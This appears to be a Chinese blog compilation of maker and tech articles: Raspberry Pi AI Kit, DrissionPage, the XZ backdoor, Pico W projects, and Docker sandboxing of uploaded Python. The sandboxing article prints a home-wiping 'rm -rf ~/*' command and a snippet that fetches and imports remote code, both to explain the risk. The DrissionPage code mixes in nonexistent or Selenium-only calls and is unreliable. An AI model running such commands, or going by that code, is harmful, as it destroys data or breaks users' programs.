分类： 技能

树莓派AI 套件上市，带NPU售价 70 美元

如果你曾经想在 Raspberry Pi 5 上尝试神经网络、人工智能和机器学习的世界，树莓派这次推出了官方AI 套件。该 AI 套件是与 Hailo 合作开发的，它可将本地高效的推理能力，集成到各种应用程序中。现已上架 Raspberry Pi 的经销商网络，价格 70 美元。

Raspberry Pi AI 套件拆解

Raspberry Pi AI 套件包括我们的 M.2 HAT+ 和 Hailo-8L AI 加速器模块。AI 套件安装在 Raspberry Pi 5 上，可让你快速构建复杂的 AI 视觉应用程序，实时运行。具有低延迟和低功耗要求。用于对象检测、语义和实例分割、姿态估计和面部识别（仅举几例）的先进神经网络完全在 Hailo-8L 协处理器上运行，使 Raspberry Pi 5 CPU 可以自由地执行其它任务。

Raspberry Pi AI 套件的主要功能包括：

  • 每秒 13 万亿次运算 (TOPS) 的推理性能
  • 以 8Gbps 运行的单通道 PCIe 3.0 连接
  • 与 Raspberry Pi 图像软件子系统完全集成
  • 与第一方或第三方相机的兼容性
  • 加速器硬件的高效调度：在单个摄像头上运行多个神经网络，或者同时在两个摄像头上运行单个 / 多个神经网络

搭载AI Kit的树莓派5

Hailo创建了一个庞大的模型库，用户可以在这里找到各种各样的预训练神经网络模型，可以在AI Kit上部署和优化。

地址：

https://github.com/hailo-ai/hailo_model_zoo/tree/master/docs/public_models/HAILO8L

软件方面

最新版本的 Raspberry Pi OS 会自动检测 Hailo 模块，因此操作系统和利用该模块的应用程序可以立即使用它。rpicam-apps 套件现在有一个后处理模板，用于在摄像头管道中集成实时运行的神经网络推理。

“通过使用预安装的 Hailo Tappas 后处理库，仅几百行 C++ 代码就能创建基于 AI 的高级应用程序。类似级别的集成到我们的 Picamera2 框架中很快就会实现。”

除了可以在 rpicam-apps 或 Picamera2 中使用 Hailo-8L 协处理器外。Raspberry Pi AI Kit 中还打包了集成在 GStreamer 框架和本地 Python 或 C/C++ 应用程序中的 API。包括非摄像机用例，例如在预先录制的视频文件上运行推理。

近看Hailo模块

软件安装步骤非常简单。通过apt安装几个软件包，重新启动，你就可以在几分钟内尝试我们的一些AI演示。完整的说明可以在我们的入门指南中找到。下面是我们的一些演示的预览，你可以通过rpicam-apps运行。

详细步骤：

https://www.raspberrypi.com/documentation/accessories/ai-kit.html#getting-started

有了树莓派AI Kit，你不但可以在picam-apps或Picamera2中使用Hailo-8L协处理器。树莓派还打包了一个集成在GStreamer框架和本地Python或C/C++应用程序中的API。这包括非相机用例，例如在预先录制的视频文件上运行推理。

DrissionPage，不用给爬虫装驱动了

DrissionPage是一个基于Python的网页自动化库，它结合了selenium和requests的优点，可以轻松实现网页的自动化操作。DrissionPage的主要特点是其简洁的API设计，使得用户可以很容易地编写代码来实现网页自动化。

特点

  • 简洁的API设计：DrissionPage的API设计非常简洁，用户无需深入了解Selenium的底层实现，也能进行复杂的网页交互。
  • 结合了selenium和requests的优点：既可以实现动态网页的自动化，也可以实现静态网页的自动化。
  • 灵活性：支持多种选择器，包括CSS选择器、XPath选择器等，适应不同的网页结构。
  • 强大的等待机制：内置智能等待，确保元素在操作前已经加载完成。
  • 支持多种浏览器：DrissionPage支持多种浏览器，包括Chrome、Firefox等。

 

​安装

安装DrissionPage非常简单，只需要通过pip安装即可：

pip install drissionpage
 

初始化

在使用DrissionPage之前，需要先进行初始化。可以使用以下代码进行初始化：

from DrissionPage import MixPage
page = MixPage(‘chrome’)
 

这里我们使用Chrome浏览器进行初始化，你也可以使用其他浏览器，例如Firefox。

打开网页

初始化之后，可以使用open_url方法来打开一个网页。

例如，我们可以使用以下代码来打开百度首页：

page.open_url(‘https://www.baidu.com’)
 

查找元素

在打开网页之后，我们通常需要查找网页中的元素。DrissionPage提供了多种方法来查找元素，例如ele、eles、css、xpath等。例如，我们可以使用以下代码来查找百度首页的搜索框：

search_box = page.ele(‘#kw’)
 

这里我们使用ele方法来查找id为kw的元素。

操作元素

在找到元素之后，我们可以对元素进行各种操作，例如输入文本、点击等。例如，我们可以使用以下代码来在百度搜索框中输入文本并搜索：

search_box.send_keys(‘Python’)
page.ele(‘#su’).click()
 

这里我们使用send_keys方法来输入文本，使用click方法来点击搜索按钮。

获取元素信息

在找到元素之后，我们还可以获取元素的各种信息，例如文本、属性等。例如，我们可以使用以下代码来获取百度搜索结果的第一条结果的标题：

title = page.ele(‘.t a’).text
print(title)
 

此外，DrissionPage支持复杂的网页交互，例如填写表单、点击按钮等：

# 填写表单
browser.find_element_by_name(‘username’).send_keys(‘my_username’)
browser.find_element_by_name(‘password’).send_keys(‘my_password’)

# 点击登录按钮
browser.find_element_by_xpath(‘//button[@type=”submit”]’).click()
 

其他示例

DrissionPage可以用于各种网页操作，下面是一些常见的使用示例：

# 处理下拉菜单
browser.find_element_by_id(‘dropdown’).click()
browser.find_element_by_xpath(‘//option[@value=”option-value”]’).click()

# 滚动到页面底部
browser.scroll_to_bottom()

# 获取当前页面的URL
current_url = browser.get_current_url()

# 下拉刷新
page.execute_script(‘window.scrollTo(0, document.body.scrollHeight)’)

# 上传文件
upload_button = page.ele(‘#upload’)
upload_button.send_keys(‘path/to/your/file’)

 

工作原理

DrissionPage的工作原理非常简单。它首先使用requests库来请求网页，然后使用selenium库来加载网页。在加载网页之后，就可以使用selenium的方法来查找元素、操作元素等。

高级用法

DrissionPage还支持多窗口和多标签页操作、自定义等待、处理JavaScript弹窗等高级功能：

切换到新的标签页

browser.open_new_tab()

 

自定义等待

​

from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
wait = WebDriverWait(page.driver, 10)
element = wait.until(EC.element_to_be_clickable((By.ID, ‘some_id’)))
 

这里我们使用selenium的WebDriverWait和expected_conditions来实现自定义等待。

处理JavaScript弹窗

page.driver.switch_to.alert.accept()
 

这里我们使用switch_to.alert.accept()来处理JavaScript弹窗。

总结

DrissionPage是一个功能强大且易于使用的Python库，它简化了网页自动化操作，使得即使是编程新手也能快速上手。通过本文的介绍，相信你已经对DrissionPage有了基本的了解，并且能够开始使用它来完成你的网络爬虫项目。

附录

  • DrissionPage的相关文档：https://gitee.com/g1879/DrissionPage
  • selenium官方文档：https://www.selenium.dev/documentation/en/
  • requests官方文档：https://requests.readthedocs.io/en/m

心机黑客潜伏两年后向XZ添加后门 多个Linux发行版中招影响服务器安全

最近Linux 社区最关注的事情就是 xz-utils (以前被称为 LZMA Utils) 项目被植入后门的事情，xz 是被 Linux 发行版广泛使用的压缩格式之一，xz-utils 是一个开源项目，2022 年起有个名为 Jia Tan 的账号开始向该项目贡献代码，然后逐步接手该项目成为项目的主要贡献者。

日前该项目被发现存在后门，这些恶意代码旨在允许未经授权的访问，具体来说影响 xz-utils 5.6.0 和 5.6.1 版中，而且这些受影响的版本已经被多个 Linux 发行版合并。

简单来说这是一起供应链投毒事件，攻击者通过上游开源项目投毒，最终随着项目集成影响 Linux 发行版，包括 Fedora Linux 40/41 等操作系统已经确认受该问题影响。

恶意代码的目的：

RedHat 经过分析后认为，此次黑客添加的恶意代码会通过 systemd 干扰 sshd 的身份验证，SSH 是远程连接系统的常见协议，而 sshd 是允许访问的服务。

在适当的情况下，这种干扰可能会让黑客破坏 sshd 的身份验证并获得整个系统的远程未经授权的访问 (无需 SSH 密码或密钥)。

RedHat 确认 Fedora Linux 40/41、Fedora Rawhide 受该问题影响，RHEL 不受影响，其他 Linux 发行版应该也受影响，具体用户可以在开发商网站获取信息。

建议立即停止使用受影响版本：

如果你使用的 Linux 发行版受上述后门程序影响，RedHat 的建议是无论个人还是商用目的，都应该立即停止使用。

之后请查询 Linux 发行版的开发商获取安全建议，包括检查和删除后门程序、回滚或更新 xz-utils 等。

孤独的开源贡献者问题：

在这里还需要额外讨论一个开源项目的问题，xz-utils 尽管被全世界的 Linux 发行版、压缩软件广泛使用，但在之前只有一名活跃的贡献者在维护这个项目。

这个孤独的贡献者可能因为精力不够或者其他原因，在遇到一名新的贡献者时，随着时间的推移，在获取信任后，这名新贡献者逐渐获得了项目的更多控制权。

实际上这名黑客应该也是精心挑选的项目，知道这种情况下可能更容易获取控制权，于是从 2022 年开始就贡献代码，直到成为主要贡献者后，再实施自己的后门行动。

未来这类针对开源项目的供应链攻击应该还会显著增加，这对整个开源社区来说应该都是头疼的问题。

智能门铃助理 — ESPBell

ESPBell是一个基于ESP12F模块的智能门铃项目。它使用ESPBell-Lite开发板，该开发板包含ESP8266芯片、摄像头、扬声器和麦克风。https://mp.weixin.qq.com/cgi-bin/readtemplate?t=tmpl/video_tmpl&vid=wxv_3251263471233613825

功能包括：

  • 实时视频传输
  • 双向语音通话
  • 人体检测
  • 触摸按钮
  • 远程控制

使用方法如下：

  1. 下载项目代码并安装依赖项。
  2. 将ESPBell-LITE开发板连接到电脑。
  3. 编译并烧录代码到开发板。
  4. 按照说明配置 Wi-Fi 连接。

优势包括：

  • 使用ESP8266芯片，具有较高的性能和低功耗。
  • 集成了摄像头、扬声器和麦克风，可实现实时视频传输、双向语音通话和人体检测等功能。
  • 支持触摸按钮和远程控制，使用方便。

不足之处包括：

  • 开发板的价格相对较高。
  • 视频传输的质量受网络环境的影响。

总体而言，该项目是一个功能强大且易于使用的智能门铃项目。它适合家庭、办公室和其他场所使用。

以下是该项目的部分亮点：

  • 使用ESP8266芯片，具有较高的性能和低功耗，可满足实时视频传输、双向语音通话和人体检测等功能的需求。
  • 集成了摄像头、扬声器和麦克风，可实现丰富的功能。
  • 支持触摸按钮和远程控制，使用方便。

该项目具有良好的开发潜力，可以进一步扩展功能，例如：

  • 添加更多传感器，例如 PIR 传感器、门磁传感器等，实现更智能的功能。
  • 支持云端存储，实现视频录像和回放。
  • 支持 AI 识别，实现人脸识别、车辆识别等功能。

源代码：

https://github.com/IoToutpost/ESPBell-LITE
https://file.daihuo.qq.com/mp_cps_goods_card/v57/index.html

用树莓派Pico W创建自己的Slack机器人

原作：Sandeep Mistry 

编译：IoT前哨站

Slack是一款在线协作软件，可以让你与团队成员进行聊天、文件传送、语音/视频通话等功能。Slack还可以整合多种工具和服务，如电子邮件、Google Drives、Twitter、Trello等，以提高工作效率和自动化任务。Slack是世界各地公司和个人的首选平台，拥有超过20万付费客户和77个财富100强企业的使用者。它有App方便大家在手机或平板电脑上使用。

这次要实现的树莓派Pico W远程控制机器人，简单来说，就是我们在手机上用Slack发消息，指挥Pico W帮我们干活。

Slack 的 chat.postMessage API 可将消息从开发板发送到 Slack 频道。Slack 为应用和机器人提供了一个事件 API，用于响应 Slack 上的活动。由于开发板不能从公共互联网直接访问，因此无法使用公共 HTTP webhook。我们必须使用Slack 的Socket Mode。Socket Mode使应用和机器人能够使用动态的WebSocket 接收事件。动态套接字连接的URL可以通过Slack的apps.connections.open API获取。

Pico W与Slack API 接收事件和发送消息的通信机制：

要完成上述操作，你必须先有Slack令牌。

配置 Slack

在 Web 浏览器中，访问 https://api.slack.com/apps 并使用您的 Slack 凭据登录。单击“创建新应用”按钮。

单击“从头开始”选项。

输入应用程序的名称（例如“Pico W”），为应用程序选择一个工作区，然后单击“创建应用程序”按钮。

单击左侧的“Socket Mode”部分，然后单击切换到“启用Socket Mode”。


输入应用级令牌的“Token Name”，例如“Pico W app”，然后单击“生成”按钮。

生成并显示应用级令牌，复制该值并保存以备将来使用，然后单击“完成”按钮。

单击左侧的“OAuth 和权限”部分，向下滚动到“Scopes”部分，然后单击“添加 OAuth 范围”按钮。

添加“app mention:read”权限。

添加“chat:write”权限。

单击左侧的“事件订阅”部分，然后单击“启用事件”开关。

展开“订阅bot事件”部分并单击“添加bot用户事件”按钮。

选择“app_mention”。

点击右下角的“保存更改”按钮。

点击左侧的“基本信息”部分，然后点击“请求安装”按钮。

填写“简短描述”，选择“背景颜色”，点击“保存更改”按钮

工作区管理员可以批准申请。然后转到“基本信息”部分，单击“安装到工作区”按钮。

安装完成后，单击左侧的“OAuth & Permissions”部分，滚动到“工作区的OAuth Token”部分，然后复制“Bot User OAuth Token”值并保存以供将来参考。

现在你有了一个应用程序级别的令牌值和一个Slack应用程序的Bot用户OAuth令牌值，可以在Raspberry Pi Pico W板上使用。

基于 MicroPython 的 Slack 机器人

MicroPython 为许多基于 Arm Cortex-M 的微控制器提供 Python 3 实现，包括 Raspberry Pi Pico W 板上的 Raspberry Pi RP2040。

Thonny IDE 将用于安装 MicroPython 并将代码上传到 Raspberry Pico W 板。从 Thonny 主页下载适用于您的计算机的操作系统 （OS） 专用版本的 Thonny。在撰写本指南时，Thonny 4.1.2 是最新版本。

用Thonny刷好MicroPython以后，将 GitHub 中的代码下载到计算机上的文件夹。

相关代码：

https://github.com/IoToutpost/example-of-a-slackbot-for-pico-w

打开 Raspberry Pi Pico W 板上的 config.py 文件，填写 Wi-Fi 网络的 SSID 和密码，以及之前配置的 Slack 应用和机器人令牌。

打开树莓派Pi Pico W板上的 main.py 文件，然后按绿色的播放按钮运行应用程序。如果一切配置正确，开发板现在将连接到您的 Wi-Fi 网络，然后连接到 Slack。

基于 C 语言的 Slack 机器人

对于 C 版本，以下库将与 pico-sdk 一起使用：

  • FreeRTOS 内核 – 为网络堆栈提供实时操作系统 （RTOS）
  • lwIP – 用于 TCP/IP 通信
  • Mbed TLS – 用于 TLS 通信
  • coreHTTP – 用于 HTTP 客户端
  • cJSON – 用于解析和序列化 JSON 数据

使用 Raspberry Pi 的 Pico SDK 和所需的工具链设置您的计算机。有关更多信息，请参阅 Raspberry Pi Pico 入门指南。

在终端窗口中，设置 PICO_SDK 环境变量：

export PICO_SDK_PATH=/path/to/pico-sdk

将目录更改为下载示例代码的位置，然后将目录更改为文件夹：pico-sdk

cd path/to/example-of-a-slackbot-for-pico-w

cd pico-sdk

创建一个构建目录，并将目录更改为该目录：

mkdir build

cd build

使用你的 Wi-Fi SSID 和密码以及 Slack 应用和机器人令牌运行，然后运行以编译应用程序：cmakemake

cmake .. -DPICO_BOARD=pico_w -DWIFI_SSID="<WIFI SSID>" -DWIFI_PASSWORD="<Wi-Fi Password" -DSLACK_APP_TOKEN="<Slack App Token>" -DSLACK_BOT_TOKEN="<Slack Bot Token>"

make

按住 Pico 板上的 BOOTSEL 按钮，同时使用 USB 电缆将板插入计算机。

将文件复制到挂载的Raspberry Pi Pico启动ROM磁盘：picow_slack_bot.uf2

按住 Pico 板上的 BOOTSEL 按钮，同时使用 USB 电缆将板插入计算机。

将文件复制到挂载的Raspberry Pi Pico启动ROM磁盘：picow_slack_bot.uf2

cp -a picow_slack_bot.uf2 /Volumes/RPI-RP2/.

使用串行监视器应用程序（如屏幕）查看主板的 USB 串行输出，将 /dev/cu.usbmodem00000000000001 替换为主板的路径：

screen /dev/cu.usbmodem0000000000001

如果一切配置正确，开发板现在将连接到您的 Wi-Fi 网络，然后连接到 Slack。

测试应用程序

在计算机上打开 Slack，并创建一个新的测试频道。在信息输入窗口中输入，然后点按绿色按钮或按回车键发送。@<name of Slack app> LED on

在 Slack 中向 Pico W 发送第一条消息

由于 Pico W 不在频道中，系统将提示您添加它们。点击“邀请他们”按钮。

邀请Raspberry Pi Pico W加入频道

被邀请后，开发板将点亮 LED， 然后回复消息告知状态。您也可以尝试发送消息以关闭 LED。@<name of Slack app> LED off

Raspberry Pi Pico W 在 Slack 中收到指令并回复

结论

本指南介绍了通过Raspberry Pi Pico W上运行MicroPython和C应用程序，来与Slack API发送和接收消息。

示例应用程序代码可以接收并处理消息文本，以控制板载 LED，然后将 LED 的当前状态告知用户。

你可以在自己的Raspberry Pi Pico W上尝试一下，然后在示例代码的基础上构建更多功能，从而将 Slack 扩展到物理世界。

用树莓派Pico W做蓝牙遥控车

不然树莓派Pico W刚放出来那会，官方只对Wi-Fi做了支持，并未启用蓝牙功能。但这个小片片上有英飞凌的CYW43439无线模块，蓝牙、Wi-Fi都支持的。

经过漫长的等待，2023年6月，官方终于腾出手让这小片片功能全部释放。

你现在不需要再外接HC-05等其它模块，只需要原来的一片Pico W，就可以通过C语言或MicroPython来启用蓝牙了。

蓝牙在嵌入式领域有多重要，多好使，估计物联网和应用电子的从业者能跟你讲半天。

这次就让Kevin McAleer这位树莓派Pico W老粉，用MicroPython编程来给大家实践一下。

从蓝牙基础，一直跟你讲到蓝牙控制小车。深入浅出，精打实招。

https://mp.weixin.qq.com/s/EZic0V6Uba93gPiqRdGTBg

相关代码：

https://github.com/IoToutpost/pico_ble_remote

如何安全运行别人上传的Python代码？

作者：kingname

写后端的同学，有时候需要在网站上实现一个功能，让用户上传或者编写自己的Python代码。后端再运行这些代码。

涉及到用户自己上传代码，我们第一个想到的问题，就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行，在不做任何安全过滤的情况下，就会导致服务器的Home文件夹被清空。

import os
os.system('rm -rf ~/*')

有人想的比较简单，直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗？

    这种想法乍看起来没有问题，但细想下，就会发现非常天真。如果用户的代码像下面这样写，你又要如何应对？

    import requests
    code = requests.get('https://www.kingname.info/dangerous_code').text
    with open('dangerous_code.py', 'w') as f:
    f.write(code)
    dangerous_module = import('dangerous_code')
    danderous_module.delete_all()

    其中https://www.kingname.info/dangerous_code对应的代码如下：

    import os
def delete_all():
    os.system('rm -rf ~/*')

      这样就可以绕过关键字检查，并成功删除你的文件了。

      如果你的网站本身就是一个爬虫管理平台，你检查用户自定义的代码时，肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。

      而且恶意代码不一定是删除你的东西，它完全可以直接把你项目下面的所有代码打包，上传到它指定的URL中，这样就能窃取你网站里面所有代码。

      为了避免这样的情况发生，我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷，独立的环境能确保他即使删除了所有文件，也不会影响到你。

      显然，最简单直接的办法，就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。

      首先，确保你的服务器上面已经有Docker，并且正在运行。

      接下来，安装Docker SDK：

      pip install docker

      假设，你把用户上传的文件放在了user/<user_id>/upload文件夹下面。

      那么，首先你需要生成一个Dockerfile，并把这个Dockerfile放到upload文件夹中：

      from python:3.10

run pip install -r requirements.txt
copy . /app
workdir /app

      当用户添加/修改了第三方库时，你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。

      接下来，我们开始构建镜像并运行代码：

      import docker
client = docker.from_env()

client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定义

container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他参数)

      这个代码运行以后是非阻塞的，会立刻返回container对象。当你想查看代码日志时，执行：

      container.logs(tail=10) # 显示最后10行日志

      就可以看到相关的日志了。

      关于Docker SDK的更多操作，可以看他的官方文档：Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]

      参考资料

      [1]Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python

      树莓派Zero做的电子墨水名片

      “你好，我的名字是……”

      人们参加沙龙或者酒会的时候，经常要对别人口述自己的名字和职业。

      如果可以用电子墨水，以像素化的形式显示他们的名字和脸时，相信能节约很多时间。

      创客Josh King做的这个PiE-Ink电子墨水名片，就很有意思。

      在他的Instructables教程中，他解释了完整的方法。

      乔什·金电子墨水名牌树莓派

      对于徽章，Josh使用了Raspberry Pi Zero，PaPiRus 2“电子墨水HAT，Adafruit Powerboost 1000c和LiPo电池。他还用到了其它配件，例如磁铁和粘土。

      Josh把树莓派Zero和Powerboost通过焊接连在一起，并允许LiPo电池为设备供电。

      乔什·金电子墨水名牌树莓派

      然后，他连接PaPiRus HAT并用粘土固定整个装置，以确保紧密贴合。他还加了一个迷你滑动开关。

      乔什·金电子墨水名牌树莓派

      在SD卡上预装Raspbian后，Josh遵循PaPiRus的设置，确保所有库文件都装好，并且让树莓派识别2英寸屏幕。

      然后下载代码，运行……

      注：你可以直接从Josh的GitHub帐户下载相关代码。记得将图像缩小到 200×96 才能使其适合电子墨水屏幕。

      乔什·金电子墨水名牌树莓派

      有了它，你就可以在各种活动和会议上让大家快速认识你了。

      如果你想用树莓派Pico做电子墨水名片的话看这里：

      https://mp.weixin.qq.com/s/Nip6ZB60et0xujLQgNRldw

      用树莓派Pico和气体传感器保护厨房

      当你在厨房烹饪食物，又跑去刷剧，玩游戏，取快递……

      食物正在加热，没人看着，锅烧焦了怎么办？着火了怎么办？

      无人看管的烹饪是迄今为止厨房火灾的主要原因。

      你可能需要有个东西来帮你盯一下。

      这个小东西主要是由树莓派Pico和传感器构成的。

      先说开发板，虽然该项目是基于Raspberry Pi Pico构建的，但你可以使用任何与RP2040兼容的电路板创建它。

      该项目中使用的Grove-HCHO传感器可检测空气VOCs（挥发性有机化合物）的气体浓度。比如：甲醛和苯。

      相关链接：

      https://wiki.seeedstudio.com/Grove-HCHO_Sensor/

      它是如何工作的？

      通过在Raspberry Pi Pico上运行Edge Impulse的Sensor Fusion软件，它可以从气体，温度和湿度传感器读取数据。然后数据通过神经网络模型计算，会判断当前的厨房是否处于安全状态。

      是的，要更准确的判断厨房安全状态，你需要更多传感器配合。

      Edge Impulse相关链接：

      https://studio.edgeimpulse.com/

      ​

      这里有相关视频来引导你完成软件下载、设置和部署。如果你有兴趣构建自己的厨房监视器，可以照着完成。

      经过AI训练，它可以检测厨房的三种状态：空闲，正常烹饪和非正常燃烧。

      隐藏在炉子上方风扇罩中的传感器

      除了烹饪，从新房子到新家具，也都会存在危害健康的挥发性有机化合物（比如甲醛）。如果你在家里检测到高浓度的挥发性有机化合物，那么你要尽快通风来保证安全。

      相关链接：

      用Phew在Pico W上构建登录系统

      Home Assistant 加 Pico W 改进车库门

      树莓派Pico如何用好定时器

      在树莓派Pico上跑BASIC程序

      Pico SDK — 树莓派Pico起步

      树莓派Pico W控制玩具车

      树莓派Pico怎么接DHT11温湿度传感器

      树莓派Pico W迷你火星车

      用Arduino IDE给Pico W开发应用

      树莓派Pico上跑TinyML音频分类

      用Rust语言来开发树莓派Pico

      树莓派Pico的CircuitPython入门

      用Pico W做个手机遥控的车库门

      太阳能驱动的Pico W在线气象站

      Pico W搭网站并显示访问者IP

      通过MicroPython控制Pico W上的板载LED

      基于树莓派Pico的机器学习

      在树莓派Pico上运行“毁灭战士”

      用树莓派Pico制作的无人机PiWings

      如何让树莓派Pico支持LoRaWAN

      长者为你开启树莓派Pico的I/O世界

      在树莓派Pico上播放《Bad Apple》

      在树莓派Pico上用BBC Micro模拟器玩游戏

      树莓派能跑Stable Diffusion了

      Stable Diffusion是一种文本到图像生成的大型深度学习模型，它可以根据文本的描述生成详细的图像，也可以用于其他任务，如图像修复、图像扩展、图像翻译等。

      它是基于潜在扩散模型（Latent Diffusion Model）的一种变体，通过对图像添加和去除噪声来训练和生成图像。

      该模型由Stability AI和LAION联合开发，目前是一个开源的AI平台，有很多用户和开发者贡献了不同的预训练模型和插件。

      一般情况下，跑Stable Diffusion需要的配置：最好是有英伟达（Nvidia）的独立显卡，显存不少于4GB，推荐8GB以上；内存8GB以上，推荐16GB或以上；硬盘40GB以上的可用空间，最好是固态硬盘；操作系统支持Windows 10/11，macOS（仅限Apple Silicon或更新版本），Linux等。

      但最近有人在树莓派Zero 2上运行Stable Diffusion了，而树莓派 Zero 2 只是内存512MB 的单板计算机。

      它的配置和规格如下：

      • 处理器：Broadcom BCM2710A1，四核64位SoC（Arm Cortex-A53 @ 1GHz）
      • 内存：512MB LPDDR2
      • 连接性：2.4GHz IEEE 802.11b/g/n无线局域网，蓝牙4.2，BLE，带天线的屏蔽罩
      • 接口：1 × USB 2.0 OTG接口
      • HAT兼容的40针I/O头插座（未焊接）
      • microSD卡插槽
      • Mini HDMI端口
      • CSI-2摄像头连接器
      • 视频：HDMI接口
      • 复合的视频和复位引脚焊点
      • 多媒体：H.264, MPEG-4解码（1080p30）
      • H.264编码（1080p30）
      • OpenGL ES 1.1, 2.0图形
      • 输入电源：5V DC 2.5A
      • 工作温度：-20°C to +70°C

      Raspberry Pi Zero 2 W的尺寸是65mm × 30mm，与原来的Raspberry Pi Zero一样。它的性能比原来的单核Raspberry Pi Zero提高了五倍。一般用于智能家居、物联网等项目。

      为了让更多低配置的计算机也能用Stable Diffusion出图。

      一个名为vitoplantamura的开发者决定写一个超小的推理库，让260MB内存的单板机也能将Stable Diffusion跑起来。终于，他成功了。

      他用C++开发的OnnxStream，是一个能够在低内存设备上运行 Stable Diffusion 的推理库，它通过分离推理引擎和权重提供器，以及量化等技术，完成了在树莓派 Zero 2 上生成图像的挑战。

      与微软的OnnxStream 相比，vitoplantamura的OnnxStream 只需要消耗 1/55 的内存就可以达到同样的效果，但（在 CPU 上的）速度只比前者慢 0.5-2 倍。

      虽然运行速度较慢，但它却是大模型在更小、更有限的设备上部署的崭新尝试。

      相关源码：

      https://github.com/vitoplantamura/OnnxStream